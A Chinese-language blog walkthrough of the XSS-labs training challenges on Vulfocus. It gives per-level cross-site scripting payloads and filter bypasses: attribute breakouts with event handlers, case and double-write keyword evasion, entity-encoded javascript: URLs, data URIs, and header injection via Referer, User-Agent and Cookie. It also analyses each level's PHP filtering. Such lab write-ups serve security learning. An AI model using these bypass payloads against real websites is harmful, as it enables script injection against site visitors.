【Vulfocus】XSS-labs通关总结
XSS-labs通关总结
基础知识 https://www.cnblogs.com/-meditation-/p/16168961.html
Level 1
第一关很明显输入test在 <h2>
中显示,看过上面链接的文章,就知道这是HTML标签<h2>
之间的输出,直接使用<script>alert(1)</script>
就可以弹窗。
源码分析:下面的代码,str获取name的值,直接返回前端使用。说明源码是完全没有对GET请求到的name变量进行过滤,原封不动地发送到浏览器的,所以才会被执行。
Payload
<script>alert(1)</script>
Level 2
同样是HTML标签之间的输出,输入<script>alert(1)</script>
发现未弹窗
右键查看源代码,发现< > 被转义了,所以不会执行,而<input>
标签内也被写入了脚本语句,但是被闭合了。无法弹窗
所以我们可以在<input>
标签处下手,利用闭合,输入我们的恶意代码。
Payload
"> <script>alert("1")</script>
"> <script>alert("1")</script//
源码分析:下面的代码str 获取了 keyword的值,返回时,将获取的值转换成html实体,然后输出。但是<input>
标签则没有转换成html实体。可以被恶意利用。
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
预定义的字符是:
& (和号) 成为&
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
查看弹窗时的恶意代码 F12-调试器,可以看到插入了弹窗语句。
Level 3
和上一关很相似,尝试上一关的语句,并没有弹窗
查看源代码,发现都被实体编码了。添加事件触发。
根据第二关源码分析,猜测服务器在这两处都用htmlspecialchars()函数进行了处理,此时已经没办法通过闭合,跳出当前这个<input>
标签,可以认为是输出在属性内,基础知识的文章里写了,无法<input>
闭合标签,同时< >被转义,可以使用如下事件触发型的语句:
' autofocus onfocus=alert(1) '
源码分析:两处都用htmlspecialchars()函数进行了处理,但是<input>
标签可以越过<
>
进行弹窗
Level 4
尝试普通的<script>alert("1")</script>
,并未弹窗
查看源代码,<h2>
已被转义,<input>
标签过滤了<
>
用上一关的方法,闭合方式是双引号
" autofocus onfocus=alert(1) "
源码分析:关键点是将 <
>
替换成空字符 " "
str_replace(find,replace,string,count) 替换字符串中匹配的值
参数 | 描述 |
---|---|
find | 必需。规定要查找的值。 |
replace | 必需。规定替换 find 中的值的值。 |
string | 必需。规定被搜索的字符串。 |
count | 可选。一个变量,对替换数进行计数。 |
Level 5
尝试普通的<script>alert("1")</script>
,并未弹窗
观察搜索框内并未对符号<
,>
进行操作,可以利用,但是script无法使用,尝试别的标签
"> <svg onload="alert("xss")"> //onload 不可用 o_nload
"> <img src=1 onmouseover=alert('xss')> //onmouseover不可用 o_nmouseover
...
可用标签
"><a href="javascript:alert(1);">xss</a>
源码分析:过滤了<script 和 on,全部替换成对应的<scr_ipt 和 o_n
Level 6
用上一关的语句,发现href被替换了
经过测试前一关过滤的,这一关依旧过滤,此时我没找到其他标签使用,这个时候考虑大小写转换进行绕过
"> <sCRiPt>alert(1);</sCrIpT>
源码分析:过滤了<script 、on、src、data、href,全部替换成对应的<scr_ipt 、 o_n、da_ta、hr_ef
这里我没有见过 data的XSS,趁机学习一下,Data流的形式输入数据
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">test<a>
Level 7
用上一关的语句测试,"> <sCRiPt>alert(1);</sCrIpT>
,发现script,data都被直接去掉了。关键字过滤绕过有大小写,双写关键字和字符串拼接绕过。这里采用双写绕过,字符串拼接适用于标签内的关键字绕过
双写绕过
"><scrscriptipt>alert(1);</scrscriptipt>
源码分析:strtolower()
函数把字符串转换为小写。过滤script、on、src、data、href
Level 8
输入普通的弹窗语句"> <script>alert(1);</script>
,双引号和标签关键字都被处理了。
考虑到是a标签,使用javascript:alert(1);
但是也被替换了
考虑到写在href
里,直接对它进行HTML实体编码绕过
javascript:alert(1);
编码后
javascript:alert(1);
源码分析:对输入的字符串进行html实体编码后在进行字符的替换,由于href内属于属性值状态中的字符引用,就是src,herf这样的属性值中的HTML实体,他也是会先进行HTML解码的。
经过我们HTML实体编码的xss攻击语句不会被htmlspecialchars()再次实体编码,返回浏览器后href内的数据再次进行HTML实体解码
Level 9
探测过滤情况
' " < >
剩下个没有用的单引号。
我估摸着写个正确的链接www.baidu.com
,但我又想到会不会只是匹配了协议http://
。成功写上
和上一关一样实体编码加上http:// 注释掉http:// 即可
javascript:alert(1);//http://
编码后
javascript:alert(1);//http://
源码分析:比上一关加了strpos
函数,返回字符串在另一个字符串中第一次出现的位置。果然匹配了http://
strpos(string,find,start)
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
find | 必需。规定要查找的字符。 |
start | 可选。规定开始搜索的位置。 |
Level 10
测试过滤情况 ' " >< script onclick
发现只过滤了" 和<>, 发现3个input
隐藏域
探测隐藏域接收参数情况,发现t_sort被服务器接收返回前端
well done&t_link=1&t_history=2&t_sort=3
过滤<
>
使用第一个语句,不能触发,因为没有可以聚焦的组件。改变type成功弹窗
well done&t_sort=" autofocus onfocus=alert(1)//
well done&t_sort=" type="text" autofocus onfocus=alert(1)//
源码分析:主要就是把t_sort 的 type改成text
Level 11
进入到本页面查看其前端源码,发现又多了一个参数t_ref,一看就知道获取了HTTP的referer字段
用上关的语句,抓包修改referer
" type="text" autofocus onfocus=alert(1)//
源码分析:获取referer字段,过滤<
>
Level 12
查看源代码,一看就User-Agent头
" type="text" autofocus onfocus=alert(1)//
源码分析:没啥分析,同上
Level 13
Cookie头,同上没啥写了
" type="text" autofocus onfocus=alert(1)//
Level 14
代码少了,没有办法做下去
Level 15
查看页面源码发现了一个新属性,ng-include
,ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页。
使用语句,过滤<
>
给语句使本页面包含了同域名level1.php返回的HTML文件,并将name的字段传入,虽然尖括号被编码了,但是level1的name处是没有任何括号之内的东西的,所以可行。
src='level1.php?name=<img src=1 onerror=alert(/111/)>'
连接多写了个src= 不影响
源码分析:获取src赋值给str,在进行html实体编码返回
Level 16
尝试"> <script>alert(1);</script>
发现尖括号没变,倒是/
和script
还有空格也被干掉了。
但是在html中是可以将%0a
和%0d
作为空格使用的,因为尖括号没被干掉,我们就用<a>
标签,因此我们构造语句
<a%0dhref="javas%0acript:alert("1")">xss
<a%0donclick='alert(1)'>xss
<a%0donmouseover='alert(1)'>xss
源码分析:过滤了/ 只能是使用a
标签了
Level 17
查看前端代码
发现其两个变量使用=
符号拼接的形式被加入到<embed>
标签中,该标签用于一些插件如flash等的插入
常规加尖括号的语句会被转为html实体字符,那就只有用事件触发来写,而且事件触发刚好是用等号来连接。
所以我们在b的后边加入onclick(点击后触发)或onmouseover(鼠标移动到上方触发)触发器来进行恶意语句利用
onclick=alert('1')
onmouseover=alert('1')
火狐用不了,换成了谷歌浏览器加载了插件,onclick=alert('1')加载了但是点击不然出。
onmouseover=alert('1')成功
源码:
Level 18
用上一关语句可以成功 onmouseover=alert('1')
源码分析:和上一关一样
Level 19
用上一关的语句无法弹窗,查看源代码,src的值使用双引号括起来的。
实在搞不出来 找了网上的攻击语句<a href="javascript:alert(1)">123</a>
也没成功
Level 20
没成功
总结
1.无过滤机制
2.闭合标签
3.单引号闭合 + 添加事件
4.双引号闭合 + 添加事件
5.双引号闭合 + 新建标签
6.大小写绕过
7.双写绕过
8.编码绕过
9.检测关键字
10.隐藏域打XSS
11.Referer字段打XSS
12.User-Agent字段打XSS
13.Cookie字段打XSS
14.代码不全做不了
15.ng-include 属性
16.空格实体转义
17.embed参数拼接
18.embed参数拼接
19-20 Flash xss 没搞出来
本文来自博客园,作者:九天揽月丶,转载请注明原文链接:https://www.cnblogs.com/-meditation-/articles/16178044.html